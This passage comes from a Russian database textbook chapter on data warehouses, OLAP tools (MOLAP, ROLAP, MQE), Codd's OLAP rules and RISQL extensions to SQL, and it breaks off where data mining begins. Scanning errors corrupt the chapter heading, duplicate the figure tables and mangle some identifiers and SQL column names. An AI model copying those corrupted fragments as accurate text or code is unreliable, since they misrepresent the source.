Укажите специальные требования к реляционным СУБД, используемым для создания хранилищ данных.
Поясните, как параллельные технологии могут использоваться в организации работы хранилищ данных.
Поясните важность процессов управления метаданными и их связь с успешной интеграцией хранилища данных.
Опишите основные задачи, связанные с администрированием и управлением хранилищами данных.
Назовите различия между магазинами данных и хранилищами данных, а также укажите основные побудительные мотивы реализации магазинов данных.
Назовите основные задачи, связанные с разработкой и сопровождением магазина данных.
Опишите особенности подхода к разработке базы данных как компонента хранилища данных, предназначенного для системы поддержки принятия решений, на основе схем “звезда”, “снежинка” и “звезда-снежинка”.
Упражнения
Спроектируйте базу данных для системы поддержки принятия решений для учебного проекта DreamHome (см. раздел 1.7). Ее схема должна быть построена на основе требований, предъявляемых к запросам со стороны директора этой организации.
Спроектируйте базу данных для системы поддержки принятия решений для учебного проекта WellMcadows (приложение А). Ее схема должна быть построена на основе требований, предъявляемых к запросам со стороны директора этой больницы.
Спроектируйте базу данных для системы поддержки принятия решений для вашей организации. Ее схема должна быть построена на основе требований, предъявляемых к запросам со стороны сотрудников вашей организации.
Предположим, что старший менеджер компании DreamHome попросил вас изучить вопрос и составить отчет о возможности создания хранилища данных в этой организации. В отчете должен быть приведен сравнительный анализ технологий хранилищ данных и обычных OLTP-систем, указаны преимущества и недостатки каждого подхода, а также отмечены любые проблемы, связанные с реализацией хранилища данных. Отчет должен содержать полностью обоснованный набор выводов о применимости концепции хранилища данных в компании DreamHome.
ESI®!'
IIOLAP и разработка
данных
||У||^^jii A!||f
Л'Ййз^ейда оперативной аналитической обработки данных
|||||^^OLAP-систем..,. г
;|Ч^|)сновные типы OLAP-инструментов, sr голая многомерные ЭДфдО!^и реляционные (ROi АР) инструменты, а л
у^г^ ;<;также инструменты управляемой среды запросов (MQE).
^^^Распхирения языка SQL для ана*яиза данных и поддержки
5|ртринятия решений.
^1Йация разработки данных.
ровные операции разработки данных: прогнозирующее моделирование, сегментирование баз данных, анализ связей, , ' обнаружение отклонений и другие дополнительные методы, вязь между разработкой данных
и поддержкой xpari^\
В главе 25, “Хранилища данных** мы обсуждали технологию хранилищ данных, популярность которой как средства достижения большей конкурентоспособности постоянно возрастает. Мы узнали, что хранилища данных позволяют объединять большое количество данных и оптимизировать выполнение их последующего анализа. До недавнего времени инструменты доступа к большим базам данных обеспечивали лишь ограниченный и относительно простой анализ данных. Однако в связи с ростом популярности хранилищ данных растут и требования пользователей, нуждающихся в более мощных инструментах доступа к данным, способных предоставить более мощные средства анализа.
В этой главе рассматриваются основные достижения в области создания пользовательских инструментов доступа к данным в хранилищах данных. К ним относятся оперативная аналитическая обработка данных (OLAP), расширения языка SQL для сложного анализа данных и инструменты разработки данных. Поскольку каждая из этих технологий достаточно сложна, целью этой главы является лишь краткое ознакомление и обзор их основных характеристик.
Структура этой главы
В разделе 26.1 рассматриваются основные концепции многомерных баз данных, а также дается характеристика трем основным OLAP-инструментам: многомерным (MOLAP) и реляционным (ROLAP) OLAP-инструментам, а также инструментам управляемой среды запросов (MQE). Кроме того, на примере языка Red Brick Intelligent SQL (RISQL) демонстрируется, как язык SQL может быть расширен для предоставления функций более сложного анализа. В разделе 26.2 рассматриваются основные концепции разработки данных (data miming), а также указываются основные характеристики операций, методов и инструментов, применяемых в этой технологии. Дополнительно обсуждается связь между разработкой данных и организацией хранилищ данных. Все примеры, рассматриваемые в этой главе, взяты из учебного проекта DreamHome, описанного в разделе 1.7.
Интерактивная аналитическая обработка данных (OLAP)
В этом разделе рассматривается природа многомерных данных, а также то, как эти данные могут быть наилучшим образом представлены в базе данных, предназначенной для оперативной аналитической обработки данных (Online Analytical Processing — OLAP). Кроме того, описываются требования, которым должны удовлетворять OLAP-инструменты, и описываются основные характеристики трех категорий OLAP-инструментов: MOLAP, ROLAP и MQE. В конце данного раздела дается краткий обзор расширений языка SQL, предназначенных для выполнения более сложных функций анализа данных.
Основной вопрос при обработке информации заключается в том, как обрабатывать все более и более крупные базы данных, содержащие данные с постоянно усложняющейся структурой, сохранив при этом приемлемое время реакции системы на запрос. Архитектура “клиент/сервер” позволяет организациям устанавливать специализированные серверы, оптимизированные для решения задач специфического управления данными. Для таких бизнес-приложений, как анализ рынка и финансовое прогнозирование, требуется использовать запросо-центрированные схемы баз данных, которые, по сути, имеют вид многомерных массивов. Эти приложения характеризуются необходимостью извлекать большое количество записей из очень больших наборов данных и мгновенно вычислять на их основе итоговые значения. Предоставление поддержки для таких приложений является основным назначением всех OLAP-инструментов.
Оперативная Динамический синтез, анализ и консолидация больших объ- аналитическая емов многомерных данных.
обработка (OLAP)
Термин “OLAP” был предложен Коддом в 1993 году и определяет архитектуру, которая поддерживает сложные аналитические приложения. Большинство OLAP- приложений создается на основе специализированных многомерных СУБД (или ММ СУБД (multi-dimensional DBMS)) с ограниченным набором данных и настраиваемым пользовательским интерфейсом приложений. OLAP-архитектура предусматривает определенные уровни с четким разделением функций между приложением и СУБД. На основе этого разделения появилось новое поколение OLAP-инструментов, предоставляющих такие возможности, которые позволяют обычным СУБД конкурировать со специализированными технологиями ММ СУБД.
Многомерная OLAP-технология
Мы начнем нашу работу с рассмотрения нескольких альтернативных вариантов представления многомерных данных. Например, рассмотрим, как лучше всего представить запрос типа следующего: “Каким был общий доход от продаж объектов недвижимости в каждом городе в каждом квартале 1997 года?”. Соответствующие данные можно разместить в реляционной таблице с тремя столбцами, представленной на рис. 26.1, а, однако они более естественно укладываются в двумерной матрице с размерностями City (Город) и Time ((время) (в данном случае поквартально)) — как показано на рис. 26.1, б. Основаниями для выбора одного из этих представлений могут быть только типы запросов со стороны пользователей. Если пользователь будет составлять простые запросы типа: “Каким был доход, полученный в городе Глазго в первом квартале?” или другие подобные этому запросы, предназначенные для извлечения единственного значения, то никакой потребности в создании и использовании многомерной базы данных нет. Однако если пользователь попробует составить запрос типа: “Каким был суммарный годовой доход для каждого города?” или “Каким был средний доход для каждого города?”, то для получения ответа потребуется извлечь большое количество значений и выполнить их обобщение. Если речь идет о большой базе данных, содержащей сведения об операциях продажи в тысячах городов, то для выполнения необходимых расчетов реляционной СУБД потребуется очень много времени. Типичная РСУБД способна сканировать всего несколько сотен строк в секунду, тогда как типичная ММ СУБД способна выполнять обобщающие операции со скоростью до 10 000 строк в секунду и даже выше.
Рассмотрим теперь те же данные о доходах, но с учетом дополнительной размерности — а именно, типа недвижимости. В этом случае имеющиеся данные представляют общий доход, но в зависимости от типа объектов недвижимости (т.е. от размерности Ргор- ertyJType, причем для простоты предположим, что это может быть только квартира (Flat) или дом (House)), города и времени (поквартально). В этом случае данные также могут быть размещены в таблице с четырьмя полями, как показано на рис. 26.1, в. Но более естественно было бы разместить их в трехмерном кубе — так, как показано на рис. 26.1, г. В нем данные представлены в виде ячеек некоторого массива, где каждое значение дохода связано с размерностями Property_Type, City и Time. Отметим, что таблица в реляционной СУБД может представлять многомерные данные только в двух измерениях.
В OLAP-технологии серверы баз данных для хранения данных и связей между ними используют многомерные структуры. Многомерные структуры лучше всего представлять как кубы данных, которые, в свою очередь, могут состоять из других кубов данных. Каждая сторона куба является размерностью.
Многомерные базы данных очень компактны и обеспечивают простые средства просмотра и манипулирования элементами данных, обладающих многими взаимосвязями. Подобный куб легко может быть расширен с целью включения новой размерности, например, содержащей количество сотрудников компании в каждом городе. Над данными в кубе могут выполняться операции матричной арифметики, что позволяет легко вычислить значение среднего дохода на одного сотрудника компании посредством применения простой матричной операции ко всем ячейкам куба: средний_доход_на__сотрудника = общий_доход / количество_сотрудников.
ГородКварталОбщий доходГлазго129726Глазго230443Глазго330582Глазго431390Лондон143555Лондон248244Лондон356222Лондон445632Абердин153210Абердин234567Абердин345677Абердин450056ГородКварталОбщий доходГлазго129726Глазго230443Глазго330582Глазго431390Лондон143555Лондон248244Лондон356222Лондон445632Абердин153210Абердин234567Абердин345677Абердин450056АГородКварталГлазгоЛондонАбердин1297264355553210| О. СП23044348244345673305825622245677¥4313904563250056АГородКварталГлазгоЛондонАбердин1297264355553210| О. СП23044348244345673305825622245677¥4313904563250056<Город><Город>(б)(б)Тип объектаГородКварталОбщий доходКвартираГлазго115056ДомГлазго114670КвартираГлазго214555ДомГлазго215888КвартираГлазго314578ДомГлазго316004КвартираГлазго415890ДомГлазго415500КвартираЛондон119678ДомЛондон123877КвартираЛондон219567ДомЛондон228677Тип объектаГородКварталОбщий доходКвартираГлазго115056ДомГлазго114670КвартираГлазго214555ДомГлазго215888КвартираГлазго314578ДомГлазго316004КвартираГлазго415890ДомГлазго415500КвартираЛондон119678ДомЛондон123877КвартираЛондон219567ДомЛондон228677(В)(В)Квартал 1 Квартал 2 Квартал 3 Квартал 4 <Время>Квартал 1 Квартал 2 Квартал 3 Квартал 4 <Время>
Город
Квартал
Общий доход
Глазго
1
29726
Глазго
2
30443
Глазго
3
30582
Глазго
4
31390
Лондон
1
43555
Лондон
2
48244
Лондон
3
56222
Лондон
4
45632
Абердин
1
53210
Абердин
2
34567
Абердин
3
45677
Абердин
4
50056
Город
Квартал
Общий доход
Глазго
1
29726
Глазго
2
30443
Глазго
3
30582
Глазго
4
31390
Лондон
1
43555
Лондон
2
48244
Лондон
3
56222
Лондон
4
45632
Абердин
1
53210
Абердин
2
34567
Абердин
3
45677
Абердин
4
50056
А
Город
Квартал
Глазго
Лондон
Абердин
1
29726
43555
53210
| О. СП
2
30443
48244
34567
3
30582
56222
45677
¥
4
31390
45632
50056
А
Город
Квартал
Глазго
Лондон
Абердин
1
29726
43555
53210
| О. СП
2
30443
48244
34567
3
30582
56222
45677
¥
4
31390
45632
50056
<Город>
<Город>
(б)
(б)
Тип объекта
Город
Квартал
Общий доход
Квартира
Глазго
1
15056
Дом
Глазго
1
14670
Квартира
Глазго
2
14555
Дом
Глазго
2
15888
Квартира
Глазго
3
14578
Дом
Глазго
3
16004
Квартира
Глазго
4
15890
Дом
Глазго
4
15500
Квартира
Лондон
1
19678
Дом
Лондон
1
23877
Квартира
Лондон
2
19567
Дом
Лондон
2
28677
Тип объекта
Город
Квартал
Общий доход
Квартира
Глазго
1
15056
Дом
Глазго
1
14670
Квартира
Глазго
2
14555
Дом
Глазго
2
15888
Квартира
Глазго
3
14578
Дом
Глазго
3
16004
Квартира
Глазго
4
15890
Дом
Глазго
4
15500
Квартира
Лондон
1
19678
Дом
Лондон
1
23877
Квартира
Лондон
2
19567
Дом
Лондон
2
28677
(В)
(В)
Квартал 1 Квартал 2 Квартал 3 Квартал 4 <Время>
Квартал 1 Квартал 2 Квартал 3 Квартал 4 <Время>
Рис. 26.1. Представление многомерных данных: а) в виде таблицы с тремя полями; б) двумерной матрицы; в) таблицы с четырьмя полями; г) трехмерного куба
Время обработки многомерного запроса зависит от того количества ячеек, которые должны быть обработаны мгновенно. С ростом числа размерностей количество ячеек в кубе данных возрастает экспоненциально. Однако для большинства многомерных запросов требуются только обобщенные данные высокого уровня. Следовательно, для создания эффективной многомерной базы данных необходимо предварительно рассчитать (консолидировать) все логические промежуточные и основные итоговые значения, причем по всем размерностям. Такое предварительное обобщение может оказаться особенно ценным, если типичные размерности имеют иерархическую структуру. Например, размерность времени может иерархически подразделяться на годы, кварталы, месяцы,
недели и дни, а размерность географического расположения — на отделения компании, районы, города и страны. Наличие предопределенной иерархии внутри размерностей позволяет выполнять предварительное логическое обобщение и, наоборот, нисходящий (“drill-down”) логический анализ с переходом от значений годовых доходов к значениям квартальных доходов и дальше к значениям месячных доходов.
Серверы многомерных баз данных на основе OLAP могут выполнять перечисленные ниже основные аналитические операции.
Консолидация. Она включает такие обобщающие операции, как простое суммирование значений (“свертка”) или расчет с использованием сложных выражений, включающих другие связанные данные. Например, показатели для отделений компании могут быть просто просуммированы с целью получения показателей для каждого города, а показатели для, городов могут быть “свернуты” до показателей по отдельным странам.
Нисходящий анализ (“drill-down”). Операция, обратная консолидации, которая включает отображение подробных сведений для рассматриваемых консолидированных данных.
Разбиение с поворотом (slicing and dicing). Эта операция (которая также называется созданием сводной таблицы) позволяет получить представление данных с разных точек зрения. Например, один срез данных о доходах может отображать все сведения о доходах от продаж объектов недвижимости указанного типа по каждому городу. Другой срез может представлять все данные о доходах отделений компании в каждом из городов. Разбиение с поворотом часто выполняется вдоль оси времени — с целью анализа тенденций и поиска закономерностей.
OLAP-серверы многомерных баз данных обладают способностью хранить многомерные данные в сжатом виде. Это достигается за счет динамического выбора способа физического хранения данных и использования технологий сжатия, которые позволяют максимально эффективно использовать имеющееся пространство. Плотно упакованные данные (т.е. данные, в которых пустые ячейки занимают меньшую часть куба) могут храниться отдельно от разреженных данных (т.е. данные, в которых пустые ячейки занимают большую часть куба). Например, некоторые отделения компании могут заниматься продажей только определенных типов объектов недвижимости, поэтому та часть ячеек, которая связана с другими типами объектов недвижимости, окажется пустой, а сам куб данных —- разреженным. Другой тип разрежения связан с наличием дубликатов данных. Например, в крупных городах с большим количеством отделений компании ячейки будут содержать множество повторяющихся названий этих городов. Способность многомерной базы данных СУБД опускать пустые или повторяющиеся ячейки может существенно сократить размер куба и объем обрабатываемых данных.
Оптимизируя использование пространства, OLAP-серверы до минимума сокращают требования, предъявляемые к устройствам физического хранения данных, что, в свою очередь, позволяет эффективно анализировать исключительно большой объем данных. Это также позволяет загружать больше данных непосредственно в оперативную память компьютера, что приводит к существенному повышению производительности за счет сокращения количества выполняемых операций ввода/вывода.
В конечном итоге предварительное обобщение, использование иерархической структуры размерностей и управление заполнением пространства кубов данных позволяют значительно сократить размер базы данных и исключить потребность многократного вычисления одних и тех же значений. Подобная структура позволяет избежать необходимости выполнения соединения нескольких таблиц, а также обеспечивает быстрый и прямой доступ к массивам данных, что существенно ускоряет обработку многомерных запросов.
Правила для OLAP-систем
В 1993 году Э.Ф. Кодд сформулировал двенадцать основных правил, которым должны удовлетворять OLAP-инструменты. Публикация этих правил была результатом исследования, проведенного в интересах фирмы Arbor Software (создателей пакета Essbase), и привела к появлению формального определения требований, предъявляемых к OLAP- инструментам. Ниже перечислены упомянутые правила Кодда (Codd et al., 1993).
Многомерное концептуальное представление данных.
Прозрачность.
Доступность.
Неизменная производительность подготовки отчетов.
Архитектура “клиент/сервер”.
Универсальность измерений.
Динамическое управление разреженностью матриц.
Многопользовательская поддержка.
Неограниченные перекрестные операции между размерностями.
Поддержка интуитивно понятного манипулирования данными.
Гибкость средств формирования отчетов.
Неограниченное число измерений и уровней обобщения.
Многомерное концептуальное представление данных
OLAP-инструменты должны предоставлять пользователям многомерную модель, отвечающую представлениям пользователей о деятельности организации. Модель должна быть интуитивно понятной и простой в использовании. Интересно, что это правило по-разному поддерживается фирмами-разработчиками OLAP-инструментов, некоторые из которых утверждают, что многомерное концептуальное представление данных может быть обеспечено и без организации многомерного хранилища.
Прозрачность
OLAP-технология, используемая для нее база данных и архитектура, а также (возможно) неоднородные источники входных данных должны быть прозрачны для пользователей. Это требование применяется для повышения производительности труда пользователя и использования его опыта работы со знакомыми клиентскими средами и инструментами.
Доступность
OLAP-инструмент должен позволять осуществлять доступ к требуемым для анализа данным, сохраняемым в различных неоднородных корпоративных источниках данных, включая реляционные, нереляционные и прочие унаследованные системы.
Неизменная производительность подготовки отчетов
Пользователи не должны ощущать заметного снижения производительности по мере возрастания количества измерений, уровней обобщения данных и размера базы данных. При этом не должны изменяться способы вычисления самых важных значений. Используемые модели должны быть достаточно устойчивы по отношению к изменениям, вносимым в корпоративную модель.
Архитектура „клиент/сервер"
OLAP-система должна быть способна эффективно функционировать в среде “клиент/сервер”. Использование этой архитектуры должно обеспечивать оптимальную производительность, гибкость, адаптивность, масштабируемость и способность к взаимодействию.
Универсальность измерений
Все измерения данных должны быть эквивалентны по структуре и функциональным возможностям. Иначе говоря, основная структура, формулы и средства создания отчетов не должны быть привязаны к конкретным размерностям.
Динамическое управление разреженностью матриц
OLAP-система должна уметь адаптировать свою физическую схему к конкретной аналитической модели, что подразумевает динамическую оптимизацию разреженности матриц, выполняемую с целью достижения и поддержки требуемого уровня производительности системы. В типичных многомерных моделях могут присутствовать миллионы ячеек, многие из которых могут не содержать никаких сведений в каждый конкретный момент времени. Такие отсутствующие значения (NULL) должны храниться наиболее эффективным образом и не оказывать неблагоприятного влияния на точность и скорость доступа к данным.
Многопользовательская поддержка
OLAP-система должна быть в состоянии поддерживать параллельную работу группы пользователей с одной или несколькими моделями корпоративных данных.
Неограниченные перекрестные операции между размерностями
OLAP-система должна уметь распознавать иерархии размерностей и автоматически выполнять перекрестные обобщающие вычисления внутри и среди размерностей.
Поддержка интуитивно понятного манипулирования данными
Разбиение и поворот (создание сводных таблиц), нисходящий анализ, консолидация (суммирование), а также любые другие манипуляции с данными должны выполняться с помощью простейших действий типа “выбери и щелкни” или “перетащи и опусти”, выполняемых по отношению к ячейкам куба.
Гибкость средств формирования отчетов
Необходимо также иметь инструменты упорядочения строк, столбцов и ячеек, которые позволят упростить анализ данных за счет интуитивно понятного визуального представления аналитических отчетов. Пользователи должны иметь возможность организовать любое желаемое представление необходимых им данных.
Неограниченное число измерений и уровней обобщения
В зависимости от конкретных бизнес-требований аналитическая модель может иметь самое разное количество размерностей, причем каждая из размерностей будет обладать собственной иерархической структурой. OLAP-система не должна накладывать никаких искусственных ограничений на количество измерений или уровней обобщения данных.
Со времени публикации Коддом приведенных выше правил для OLAP- инструментов было предложено множество вариантов их переопределения или расширения. Например, в некоторых публикациях указанных двенадцать правил предлагалось дополнить требованием того, что коммерческие OLAP-инструменты должны включать комплексные инструменты управления базами данных, обладать способностью выполнять нисходящий анализ — до уровня самых детальных сведений (вплоть до записей в источниках данных), осуществлять пошаговое обновление базы данных, а также иметь SQL-интерфейс, что позволит им найти свое место в существующей корпоративной среде.
Категории OLAP-инструментов
OLAP-инструменты классифицируются по архитектуре используемой ими базы данных, содержащей данные для оперативной аналитической обработке. Существуют три основные категории OLAP-инструментов (Berson and Smith, 1997).
Многомерные OLAP-инструменты (Multidimensional OLAP — MOLAP, или MD-OLAP).
Реляционные OLAP-инструменты (Relational OLAP — ROLAP), которые также называются мультиреляционными OLAP-инструментами.
Управляемая среда запросов (Managed Query Environment — MQE).
Многомерные OLAP-инструменты
Для организации хранения, просмотра и анализа данных MOLAP-инструменты используют специализированные структуры данных и многомерные СУБД (ММ СУБД). Для повышения производительности выполнения запросов данные обычно обобщаются и хранятся в соответствии с их предполагаемым использованием. Для организации структур данных в MOLAP-инструментах применяется технология с использованием массивов и эффективных методов хранения данных, сводящих к минимуму требования к используемому дисковому пространству посредством применения методов управления разреженными данными. MOLAP-инструменты обеспечивают исключительную производительность, используя данные именно так, как они спроектированы. Основное внимание при этом уделяется данным, необходимым для специфического приложения поддержки принятия решений. Традиционно MOLAP-инструменты нуждаются в тесном взаимодействии с уровнем приложения и уровнем отображения. Однако в настоящее время проявляется тенденция отделения OLAP-инструментов от структур данных и использования вместо них опубликованных программных интерфейсов (API-интерфейсов). Типичная архитектура MOLAP-инструментов показана на рис. 26.2.
Сервер реляционной базы данных и/или унаследованных системСервер реляционной базы данных и/или унаследованных системЗапрос данныхЗапрос данныхСервер MOLAPСервер MOLAPРезультирующий наборРезультирующий наборЛогический уровень базы данных и приложенияЛогический уровень базы данных и приложенияРис. 26.2. Архитектура типичных MOLAP-инструментовРис. 26.2. Архитектура типичных MOLAP-инструментовИнструменты доступаконечных пользователей
Сервер реляционной базы данных и/или унаследованных систем
Сервер реляционной базы данных и/или унаследованных систем
Запрос данных
Запрос данных
Сервер MOLAP
Сервер MOLAP
Результирующий набор
Результирующий набор
Логический уровень базы данных и приложения
Логический уровень базы данных и приложения
Рис. 26.2. Архитектура типичных MOLAP-инструментов
Рис. 26.2. Архитектура типичных MOLAP-инструментов
Уровеньотображения
При разработке MOLAP-инструментов следует учитывать приведенные ниже особенности.
Используемые структуры данных обладают ограниченными способностями поддержки нескольких предметных областей и осуществления доступа к подробным сведениям. В некоторых программных продуктах эта проблема разрешается путем использования механизмов, которые позволяют MOLAP-инструментам осуществлять доступ к подробным сведениям, содержащимся в реляционных СУБД.
Просмотр и анализ данных ограничен тем, что структура данных была спроектирована в соответствии с заранее определенными требованиями. Поэтому для обеспечения поддержки новых требований может потребоваться реорганизация их структуры.
Использование MOLAP-инструментов требует наличия особого набора навыков и знаний, а также использования специальных инструментов создания и сопровождения базы данных, что приводит к увеличению стоимости и сложности сопровождения подобных систем.
Примерами MOLAP-инструментов являются пакеты Analysis Software фирмы Pilot Softaware, Essbase фирмы Arbor Software, Express Server фирмы Oracle, Lightship Server фирмы Pilot Software, TM/1 фирмы Sinper, Gentium фирмы Planning Sciences и Multiway фирмы Kenan Technology.
Реляционные OLAP-инструменты
Реляционные OLAP-инструменты — это наиболее интенсивно развивающийся сегмент OLAP-технологии. ROLAP-инструменты взаимодействуют с реляционными СУБД посредством уровня метаданных, избегая благодаря этому необходимости создания статичной многомерной структуры данных. Это упрощает создание нескольких многомерных представлений некоторого двумерного отношения. В одних ROLAP-инструментах для повышения производительности обработки данных применяются усовершенствованные SQL-механизмы, обеспечивающие поддержку сложных функций многомерного анализа. В других рекомендуется или требуется наличие сильно денормализованной структуры базы данных, например выполненной по схеме “звезда’1 (см. раздел 25.6). Типичная архитектура реляционных OLAP-инструментов представлена на рис. 26.3.
Серверреляционнойбазы данныхх SQLСерверреляционнойбазы данныхх SQLИнструменты доступаконечного пользователяИнструменты доступаконечного пользователяРезультирующий наборРезультирующий наборСервер ROLAPСервер ROLAPУровень логики приложенияУровень логики приложенияРис. 26.3. Архитектура реляционных OLAP-инструментовРис. 26.3. Архитектура реляционных OLAP-инструментовУровень отображенияУровень отображенияУровеньбазы данныхУровеньбазы данных
Серверреляционнойбазы данных
х SQL
Серверреляционнойбазы данных
х SQL
Инструменты доступаконечного пользователя
Инструменты доступаконечного пользователя
Результирующий набор
Результирующий набор
Сервер ROLAP
Сервер ROLAP
Уровень логики приложения
Уровень логики приложения
Рис. 26.3. Архитектура реляционных OLAP-инструментов
Рис. 26.3. Архитектура реляционных OLAP-инструментов
Уровень отображения
Уровень отображения
Уровеньбазы данных
Уровеньбазы данных
При разработке ROLAP-инструментов следует учитывать следующие особенности.
Необходима разработка промежуточного программного обеспечения, предназначенного для упрощения разработки многомерных приложений, т.е. программного обеспечения для преобразования двумерных отношений в многомерную структуру.
Требуется разработка инструментов, предназначенных для создания устойчивых, многомерных структур со вспомогательными компонентами администрирования этих структур.
Примерами ROLAP-инструментов могут служить пакеты Axsys фирмы Advantage, DSS Agent/DSS Server фирмы MicroStrategy, Beacon фирм Platinum/Prodea Software, Metacube фирм Informix/Stanford Technology Group и HighGate Project фирмы Sybase.
Управляемая среда запросов MQE
Концепция инструментов управляемой среды запросов (MQE) является относительно новой разработкой. Эти инструменты предоставляют ограниченные функции анализа либо непосредственно реляционным СУБД, либо с помощью промежуточного MOLAP- сервера. MQE-инструменты передают данные из СУБД (непосредственно или с помощью MOLAP-сервера) на настольный компьютер или локальный сервер в виде куба данных, который затем сохраняется, анализируется и сопровождается локально. Фирмы-разработчики считают, что эта технология характеризуется относительной простотой инсталляции и администрирования, а также меньшими затратами и усилиями на сопровождение. Типичная архитектура MQE-инструментов показана на рис. 26.4.
Сервер реляционной базы данных<Сервер реляционной базы данных<SQLSQLРезул ьти рующи й наборРезул ьти рующи й наборЗагрузкаЗагрузкаСервер MOLARСервер MOLAR3апрос данных3апрос данныхИнструменты доступаконечного пользователяИнструменты доступаконечного пользователяААРезультирующийнаборРезультирующийнабор
Сервер реляционной базы данных
<
Сервер реляционной базы данных
<
SQL
SQL
Резул ьти рующи й набор
Резул ьти рующи й набор
Загрузка
Загрузка
Сервер MOLAR
Сервер MOLAR
3апрос данных
3апрос данных
Инструменты доступаконечного пользователя
Инструменты доступаконечного пользователя
А
А
Результирующийнабор
Результирующийнабор
Рис. 26.4. Архитектура реляционных MQE-инстру ментов
При разработке MQE-инструментов необходимо учитывать следующие особенности.
Эта архитектура приводит к значительному увеличению избыточности данных и может вызвать проблемы при работе в сетях со многими пользователями.
II Способность каждого пользователя создавать свои собственные кубы данных может привести к утрате непротиворечивости данных среди пользователей.
Только ограниченное количество данных может эффективно сопровождаться в этой схеме.
Примерами MQE-инструментов являются PowerPlay фирмы Cognos Software, Pablo фирмы Andyne Software, Mercury Project фирмы Business Objects, CrossTarget фирмы Dimensional Insight и Media фирмы Speedware.
26.1.4. Расширения языка SQL
В главе 13, “Язык SQL”, уже говорилось о том, что преимуществами языка SQL являются простота обучения, непроцедурность, свободный формат операторов, независимость от типа СУБД, а также то, что он стал международным стандартом. Однако у него есть и ряд недостатков —- например, неспособность формулировать многие вопросы, которые часто интересуют аналитиков в бизнес-среде. Для устранения этого ограничения было предложено несколько вариантов расширения языка SQL. В данном разделе кратко рассматриваются расширения, предлагаемые фирмой Red Brick Systems и реализованные в созданной ею системе управления хранилищами данных.
Язык Red Brick Intelligent SQL (RISQL) предназначен специально для бизнес- аналитиков. По сути, это — набор расширений, дополняющих язык SQL различными мощными операциями, предназначенными для анализа данных и поддержки принятия решений. Сюда можно отнести операции ранжирования, определения скользящего среднего, сравнения, вычисления доли рынка, сравнения значений этого года со значениями прошлого года. Язык RISQL был создан специально для упрощения разработки сложных бизнес-запросов, а также как средство недорого, быстрого и простого способа получения ответа на них. В табл. 26.1 представлены некоторые основные функции языка RISQL, их описание и примеры типичных запросов, созданных на основе этих функций..
Таблица 26.1. Некоторые функции языка RISQL
Функция
Описание
DECODE
Заменяет или преобразует кодированные значения, которые обычно используются для внутренних целей, в более общепринятые величины. Например: “Привести объемы ежемесячных продаж для каждого типа недвижимости с указанием полного названия типа недвижимости вместо его кода (т.е. Flat вместо ?)”
CUME
Вычислить текущий и общий итог для некоторого столбца. Например: “Привести объемы ежемесячных продаж для каждого отделения компании, а также суммарный итог по каждому месяцу с начала года”
Окончание табл. 26.1
Функция
Описание
MOVINGAVG(n)
Вычисляет скользящее среднее по столбцу на основе значений его текущей и (л-1) предыдущих строк. Например: “Для последних двух лет привести скользящие средние за 6 месяцев по объему продаж в каждом отделении компаний*
MOVINGSUM(n)
Вычисляет скользящую сумму по столбцу на основе текущей и (л-1) предыдущих строк. Например: “Для каждого месяца привести объем ежемесячных продаж вместе с итоговыми значениями за предшествующих 12 месяцев
RANK ... WHEN
Присваивает последовательные числовые значения для строк результирующего набора по результатам сортировки значений заданного столбца. Использование предложения WHEN позволяет ограничить этот набор л-м количеством верхних или нижних строк.
Например: “Отобрать 5 отделений компании с наиболее высоким объемом продаж по результатам прошлого года, отсортировав их по порядку номеров отделений
RATIOTOREPORT
Вычисляет процентную долю значения в данной строке столбца по отношению к итоговому значению всего столбца. Например: “Привести значения объема продаж для каждого отделения компании с указанием их процентной доли от общего объема предай*
TERTILE
Выполняет ранжирование данных в результирующем наборе по трем уровням (High (Высокий), Medium (Средний) и Low (Низкий)) на основе значений в некотором столбце. Например: “Разбить отделения компании на три группы на основе доходов, полученных в прошлом год/
CREATE MACRO
Позволяет задавать параметры для часто используемых запросов или подзапросов, которые могут применяться разными пользователями. Например: “Вычислить объемы продаж за этот год и сравнить их с объемами ежегодных продаж (по каждому году) за последних пять леТ
Кроме того, присутствующее в языке RISQL предложение BREAK BY позволяет вычислять вспомогательные итоговые значения каждой группы записей, устанавливаемой по значению в некотором поле. Это реализуется посредством включения фразы BREAK BY SUMMING в предложение ORDER BY SQL-запроса. Ниже приводятся два примера использования языка RISQL.
Пример 26.1. Использование функции CUME языка RISQL
Приведите значения ежеквартальных объемов продаж для отделения компании с номером 'ВЗ', указав общий итог с начала данного года и до текущего момента.
Предположим, что таблица Branch__Sales имеет три атрибута: Впо (Номер отделения компании), Quarter (Квартал) и Quarterly_Sales (Объем продаж за квартал), которые содержат сведения о ежеквартальных объемах продажи объектов недвижимости. Для решения данной задачи можно использовать приведенный ниже запрос, включающий функцию СИМЕ.
SELECT quarter, quarterly sales, CUME(quarterly sales) AS Year-To-Date FROM branch sales
WHERE bno='B3';
Результат выполнения этого запроса представлен в табл. 26.2.
Таблица 26.2. Результаты выполнения запроса из примера 26.1
Квартал
Ежеквартальный объем продаж
Суммарный объем продаж с начала года
1
960 000
960 000
2
1 290 000
2 250 000
3
2 000 000
4 250 000
4
1 500 000
5 750 000
Пример 26.2. Использование функций М0У1К6АУСДЮУ1НС80Мязь1кв<Ж
Приведите значения ежемесячных объемов продаж для отделения компании с номером 'ВЗ* для первых шести месяцев без учета сезонной составляющей. ' Предположим, что таблица Branch_Sales имеет три атрибута: Впо (Номер отделения компании), Month (Месяц) и Monthly_Sales (Объем продаж за месяц), которые содержат сведения о ежемесячных продажах недвижимости. Тогда для решения этой задачи нужно с помощью функции MOVINGAVG вычислить трехмесячное скользящее среднее значение, а с помощью функции MOVINGSUM — трехмесячное скользящее суммарное значение, что позволит исключить сезонную составляющую. Соответствующий запрос будет выглядеть следующим образом:
SELECT month, monthly sales, MOVINGAVG(monthly sales) AS 3-Month Moving Avg, MOVINGSUM(monthly sales) AS 3-Month Moving Sum
FROM branch sales
, WHERE bno='B3';
Результат выполнения этого запроса показан в табл. 26.3.
; Таблица 26.3. Результаты выполнения запроса из примера 26.2
Месяц
Ежемесячный объем продаж
3-месячное скользящее среднее значение
3-месячное скользящее суммарное значение
1
210 000
—
—
2
350 000
—
—
3
400 000
320 000
960 000
4
420 000
390 000
1 170 000
5
440 000
420 000
1 260 000
6
430 000
430 000
1 290 000
26.2. Технология разработки данных
В этом разделе рассматриваются концепции разработки данных (data mining) и то, как эта технология может применяться для реализации потенциальных возможностей хранилищ данных. Особое внимание уделяется характеристикам основных операций, методов и инструментов разработки данных. Кроме того, рассматривается связь между технологией разработки данных и организацией хранилищ данных.
